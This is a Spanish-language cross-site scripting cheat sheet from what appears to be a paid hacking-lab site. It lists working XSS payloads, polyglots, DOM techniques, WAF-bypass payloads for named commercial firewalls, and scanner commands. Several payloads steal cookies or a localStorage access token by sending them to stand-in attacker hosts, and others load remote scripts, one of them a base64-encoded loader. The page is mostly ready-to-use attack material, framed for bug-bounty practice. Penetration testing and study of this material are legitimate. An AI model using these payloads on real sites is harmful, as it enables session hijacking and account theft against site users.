Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet XSS
Cross-Site Scripting
Referencia rápida
- →Siempre probar <svg onload=alert(1)> como primer vector - funciona en la mayoria de contextos
- →Si alert() esta bloqueado en iframes cross-origin (Chrome 92+), usar print() como alternativa
- →Los event handlers como onfocus+autofocus no requieren interaccion del usuario
- →Para blind XSS, inyectar payloads en campos que puedan ser vistos por admins: tickets de soporte, formularios de contacto, user-agent
- →Probar siempre payloads sin event handlers usando javascript: URI en href, action y formaction
Payloads basicos
Script clasico
'"><script>alert(document.cookie)</script>
IMG onerror
"><img src=1 onerror="alert('XSS')">SVG onload
<svg onload=alert(document.domain)>
Iframe srcdoc
<iframe srcdoc='<script>alert(1)</script>'>
Input autofocus
<input onfocus=alert(1) autofocus>
Details ontoggle
<details open ontoggle=alert(1)>
Body onload
<body onload=alert(1)>
Marquee onstart
<marquee onstart=alert(1)>
Event handlers sin interaccion
Autofocus universalCasi todos los elementos soportan autofocus en navegadores modernos
<xss onfocus=alert(1) autofocus tabindex=1>
Video onerror
<video src=x onerror=alert(1)>
Audio onerror
<audio src=x onerror=alert(1)>
Transition event sin styleChrome aplica outline por defecto a elementos focusables
<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>
Object data
<object data=javascript:alert(1)>
SVG use con data URI
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
Sin event handlers (javascript: URI)
Anchor href
<a href=javascript:alert(1)>click
Form action
<form action=javascript:alert(1)><input type=submit>
Button formaction
<form><button formaction=javascript:alert(1)>click
Math href
<math><brute href=javascript:alert(1)>click
Iframe srcdoc encoded
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
SVG xlink:href
<svg><script xlink:href=data:,alert(1)></script>
Blind XSS
Script externo (xss.report)
"><script src=https://your.xss.report/payload></script>
IMG fetch cookies
"><img src=x onerror="fetch('https://your.xss.report/?c='+document.cookie)">Base64 evalPayload codificado en base64 dentro del atributo id
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
JS.rip callback
"><script src="https://js.rip/l5j9hbki0b"></script>
Polyglots
Polyglot universal
jaVasCript:/*-/*`/*\'`/*"/**/(/* */oNcliCk=alert() )//%%0teleD/teleD/oN/teleN/on/teleN/on/oN/teleN/teleD//on//%0e%0e%0e%0e//oN\teleN\oN\
Cierre de contextos multiple
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
Escape de script y style
'"--></style></script><script>alert(1)</script>
Polyglot click/alert
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Multi-contexto
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
DOM XSS y tecnicas avanzadas
postMessage innerHTMLCuando el handler usa innerHTML con e.data sin sanitizar
<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">Swagger-UI DOM XSSSwagger UI acepta configUrl/url como parametro
?configUrl=https://attacker.surge.sh/test.json
Cookie exfiltration via fetch
<script>fetch('https://attacker.com/?c='+document.cookie)</script>localStorage exfiltration
<script>new Image().src='https://attacker.com/?t='+localStorage.getItem('access_token');</script>Funciones sin parentesis (tagged template)Chrome 92+ bloquea alert en iframes cross-domain, usar print() como alternativa
alert`1337`
Sort call sin parentesis
[].sort.call`${alert}1337`Bypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Cloudflare | HTML entities en SVG | <svg onload=alert(1)> |
Imperva Incapsula | Tab en atributo + unicode | "><style/onload co\u006efirm()></style> |
Akamai | Unicode escape en handler | <img src=x onerror=\u0061lert(1)> |
ModSecurity | Null byte insertion | <img src=x onerror=alert(1)%00> |
F5 Big IP | onwheel event | <body style="height:1000px" onwheel="alert(1)"> |
Generic | Base64 + atob con backticks | <img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`> |
Herramientas
Dalfox
Scanner XSS automatizado con soporte para blind XSS y bypass de WAF
dalfox url "https://target.com/?q=test" --blind https://your.xss.report
XSStrike
Fuzzer XSS avanzado con analisis de contexto y generacion de payloads
python3 xsstrike.py -u "https://target.com/?q=test" --crawl
kxss
Filtra URLs con parametros reflejados potencialmente vulnerables a XSS
echo "https://target.com" | gau | kxss
DOM Invader
Extension de Burp para detectar DOM XSS, postMessage y prototype pollution
Activar en Burp Suite > Embedded Browser > DOM Invader
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica